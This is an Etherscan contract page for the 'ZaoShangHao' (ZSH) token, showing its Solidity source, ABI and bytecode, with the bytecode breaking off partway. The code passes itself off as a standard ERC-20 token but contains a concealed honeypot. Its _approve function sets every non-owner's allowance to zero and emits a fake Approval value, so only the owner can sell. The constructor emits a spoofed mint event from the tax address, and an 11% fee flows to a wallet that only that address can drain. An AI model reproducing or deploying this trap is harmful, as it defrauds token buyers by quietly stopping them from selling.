Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
100,000,000,000,000 ZSH
Holders
8
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
ZaoShangHao
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2021-11-15
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
address constant TAX_ADDRESS=0x58A3eB372332f4934D0cD1332aB9A8E371116d95;
uint256 constant TOTAL_SUPPLY=100000* 10**9* 10**18;
uint256 constant FEE_PCT=11;
// Ctrl-f replace
string constant TOKEN_NAME="ZaoShangHao";
string constant TOKEN_SYMBOL="ZSH";
uint8 constant DECIMALS=18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
// TODO
contract ZaoShangHao is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
mapping (address => bool) private _isBlacklisted;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inSwap = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(TAX_ADDRESS);
_feeAddrWallet2 = payable(TAX_ADDRESS);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(TAX_ADDRESS), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = FEE_PCT;
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526d04ee2d6d415b85acef810000000060001962000022919062000513565b600019620000319190620004ce565b6008556000600f60146101000a81548160ff0219169083151502179055506d04ee2d6d415b85acef81000000006010553480156200006e57600080fd5b506000620000816200046f60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3507358a3eb372332f4934d0cd1332ab9a8e371116d95600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507358a3eb372332f4934d0cd1332ab9a8e371116d95600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085460026000620001e06200046f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160056000620002346200047760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003e16200046f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167358a3eb372332f4934d0cd1332ab9a8e371116d9573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6d04ee2d6d415b85acef8100000000604051620004619190620004b1565b60405180910390a3620005a9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620004ab8162000509565b82525050565b6000602082019050620004c86000830184620004a0565b92915050565b6000620004db8262000509565b9150620004e88362000509565b925082821015620004fe57620004fd6200054b565b5b828203905092915050565b6000819050919050565b6000620005208262000509565b91506200052d8362000509565b92508262000540576200053f6200057a565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6122a180620005b96000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610263578063a9059cbb1461028e578063c3c8cd80146102cb578063dd62ed3e146102e2576100cd565b806370a08231146101e4578063715018a6146102215780638da5cb5b14610238576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461013a57806323b872dd14610165578063313ce567146101a25780636fc3eaec146101cd576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e761031f565b6040516100f49190611b43565b60405180910390f35b34801561010957600080fd5b50610124600480360381019061011f9190611863565b61035c565b6040516101319190611b0d565b60405180910390f35b34801561014657600080fd5b5061014f61037a565b60405161015c9190611c85565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611814565b610390565b6040516101999190611b0d565b60405180910390f35b3480156101ae57600080fd5b506101b7610469565b6040516101c49190611cfa565b60405180910390f35b3480156101d957600080fd5b506101e2610472565b005b3480156101f057600080fd5b5061020b60048036038101906102069190611786565b6104e4565b6040516102189190611c85565b60405180910390f35b34801561022d57600080fd5b50610236610535565b005b34801561024457600080fd5b5061024d610688565b60405161025a9190611af2565b60405180910390f35b34801561026f57600080fd5b506102786106b1565b6040516102859190611b43565b60405180910390f35b34801561029a57600080fd5b506102b560048036038101906102b09190611863565b6106ee565b6040516102c29190611b0d565b60405180910390f35b3480156102d757600080fd5b506102e061070c565b005b3480156102ee57600080fd5b50610309600480360381019061030491906117d8565b610786565b6040516103169190611c85565b60405180910390f35b60606040518060400160405280600b81526020017f5a616f5368616e6748616f000000000000000000000000000000000000000000815250905090565b600061037061036961080d565b8484610815565b6001905092915050565b60006d04ee2d6d415b85acef8100000000905090565b600061039d848484610b08565b61045e846103a961080d565b6104598560405180606001604052806028815260200161224460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061040f61080d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c4a9092919063ffffffff16565b610815565b600190509392505050565b60006012905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104b361080d565b73ffffffffffffffffffffffffffffffffffffffff16146104d357600080fd5b60004790506104e181610cae565b50565b600061052e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d1a565b9050919050565b61053d61080d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190611c05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5a53480000000000000000000000000000000000000000000000000000000000815250905090565b60006107026106fb61080d565b8484610b08565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074d61080d565b73ffffffffffffffffffffffffffffffffffffffff161461076d57600080fd5b6000610778306104e4565b905061078381610d88565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c90611c65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec90611ba5565b60405180910390fd5b6108fd610688565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610a1c576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256004604051610a0f9190611b28565b60405180910390a3610b03565b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610afa9190611c85565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90611c45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90611b65565b60405180910390fd5b60008111610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290611c25565b60405180910390fd5b6000600a81905550600b8081905550610c45838383611082565b505050565b6000838311158290610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c899190611b43565b60405180910390fd5b5060008385610ca19190611e4b565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d16573d6000803e3d6000fd5b5050565b6000600854821115610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890611b85565b60405180910390fd5b6000610d6b611092565b9050610d8081846110bd90919063ffffffff16565b915050919050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115610de6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610e145781602001602082028036833780820191505090505b5090503081600081518110610e52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ef457600080fd5b505afa158015610f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2c91906117af565b81600181518110610f66577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610fcd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610815565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611031959493929190611ca0565b600060405180830381600087803b15801561104b57600080fd5b505af115801561105f573d6000803e3d6000fd5b50505050506000600f60146101000a81548160ff02191690831515021790555050565b61108d838383611107565b505050565b600080600061109f6112d2565b915091506110b681836110bd90919063ffffffff16565b9250505090565b60006110ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611343565b905092915050565b600080600080600080611119876113a6565b95509550955095509550955061117786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611258816114b6565b6112628483611573565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112bf9190611c85565b60405180910390a3505050505050505050565b6000806000600854905060006d04ee2d6d415b85acef810000000090506113126d04ee2d6d415b85acef81000000006008546110bd90919063ffffffff16565b821015611336576008546d04ee2d6d415b85acef810000000093509350505061133f565b81819350935050505b9091565b6000808311829061138a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113819190611b43565b60405180910390fd5b50600083856113999190611dc0565b9050809150509392505050565b60008060008060008060008060006113c38a600a54600b546115ad565b92509250925060006113d3611092565b905060008060006113e68e878787611643565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061145083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c4a565b905092915050565b60008082846114679190611d6a565b9050838110156114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390611bc5565b60405180910390fd5b8091505092915050565b60006114c0611092565b905060006114d782846116cc90919063ffffffff16565b905061152b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6115888260085461140e90919063ffffffff16565b6008819055506115a38160095461145890919063ffffffff16565b6009819055505050565b6000806000806115d960646115cb888a6116cc90919063ffffffff16565b6110bd90919063ffffffff16565b9050600061160360646115f5888b6116cc90919063ffffffff16565b6110bd90919063ffffffff16565b9050600061162c8261161e858c61140e90919063ffffffff16565b61140e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061165c85896116cc90919063ffffffff16565b9050600061167386896116cc90919063ffffffff16565b9050600061168a87896116cc90919063ffffffff16565b905060006116b3826116a5858761140e90919063ffffffff16565b61140e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156116df5760009050611741565b600082846116ed9190611df1565b90508284826116fc9190611dc0565b1461173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390611be5565b60405180910390fd5b809150505b92915050565b60008135905061175681612215565b92915050565b60008151905061176b81612215565b92915050565b6000813590506117808161222c565b92915050565b60006020828403121561179857600080fd5b60006117a684828501611747565b91505092915050565b6000602082840312156117c157600080fd5b60006117cf8482850161175c565b91505092915050565b600080604083850312156117eb57600080fd5b60006117f985828601611747565b925050602061180a85828601611747565b9150509250929050565b60008060006060848603121561182957600080fd5b600061183786828701611747565b935050602061184886828701611747565b925050604061185986828701611771565b9150509250925092565b6000806040838503121561187657600080fd5b600061188485828601611747565b925050602061189585828601611771565b9150509250929050565b60006118ab83836118b7565b60208301905092915050565b6118c081611e7f565b82525050565b6118cf81611e7f565b82525050565b60006118e082611d25565b6118ea8185611d48565b93506118f583611d15565b8060005b8381101561192657815161190d888261189f565b975061191883611d3b565b9250506001810190506118f9565b5085935050505092915050565b61193c81611e91565b82525050565b61194b81611ed4565b82525050565b61195a81611ee6565b82525050565b600061196b82611d30565b6119758185611d59565b9350611985818560208601611ef8565b61198e81611f89565b840191505092915050565b60006119a6602383611d59565b91506119b182611f9a565b604082019050919050565b60006119c9602a83611d59565b91506119d482611fe9565b604082019050919050565b60006119ec602283611d59565b91506119f782612038565b604082019050919050565b6000611a0f601b83611d59565b9150611a1a82612087565b602082019050919050565b6000611a32602183611d59565b9150611a3d826120b0565b604082019050919050565b6000611a55602083611d59565b9150611a60826120ff565b602082019050919050565b6000611a78602983611d59565b9150611a8382612128565b604082019050919050565b6000611a9b602583611d59565b9150611aa682612177565b604082019050919050565b6000611abe602483611d59565b9150611ac9826121c6565b604082019050919050565b611add81611ebd565b82525050565b611aec81611ec7565b82525050565b6000602082019050611b0760008301846118c6565b92915050565b6000602082019050611b226000830184611933565b92915050565b6000602082019050611b3d6000830184611951565b92915050565b60006020820190508181036000830152611b5d8184611960565b905092915050565b60006020820190508181036000830152611b7e81611999565b9050919050565b60006020820190508181036000830152611b9e816119bc565b9050919050565b60006020820190508181036000830152611bbe816119df565b9050919050565b60006020820190508181036000830152611bde81611a02565b9050919050565b60006020820190508181036000830152611bfe81611a25565b9050919050565b60006020820190508181036000830152611c1e81611a48565b9050919050565b60006020820190508181036000830152611c3e81611a6b565b9050919050565b60006020820190508181036000830152611c5e81611a8e565b9050919050565b60006020820190508181036000830152611c7e81611ab1565b9050919050565b6000602082019050611c9a6000830184611ad4565b92915050565b600060a082019050611cb56000830188611ad4565b611cc26020830187611942565b8181036040830152611cd481866118d5565b9050611ce360608301856118c6565b611cf06080830184611ad4565b9695505050505050565b6000602082019050611d0f6000830184611ae3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611d7582611ebd565b9150611d8083611ebd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611db557611db4611f2b565b5b828201905092915050565b6000611dcb82611ebd565b9150611dd683611ebd565b925082611de657611de5611f5a565b5b828204905092915050565b6000611dfc82611ebd565b9150611e0783611ebd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e4057611e3f611f2b565b5b828202905092915050565b6000611e5682611ebd565b9150611e6183611ebd565b925082821015611e7457611e73611f2b565b5b828203905092915050565b6000611e8a82611e9d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611edf82611ebd565b9050919050565b6000611ef182611ebd565b9050919050565b60005b83811015611f16578082015181840152602081019050611efb565b83811115611f25576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f77000000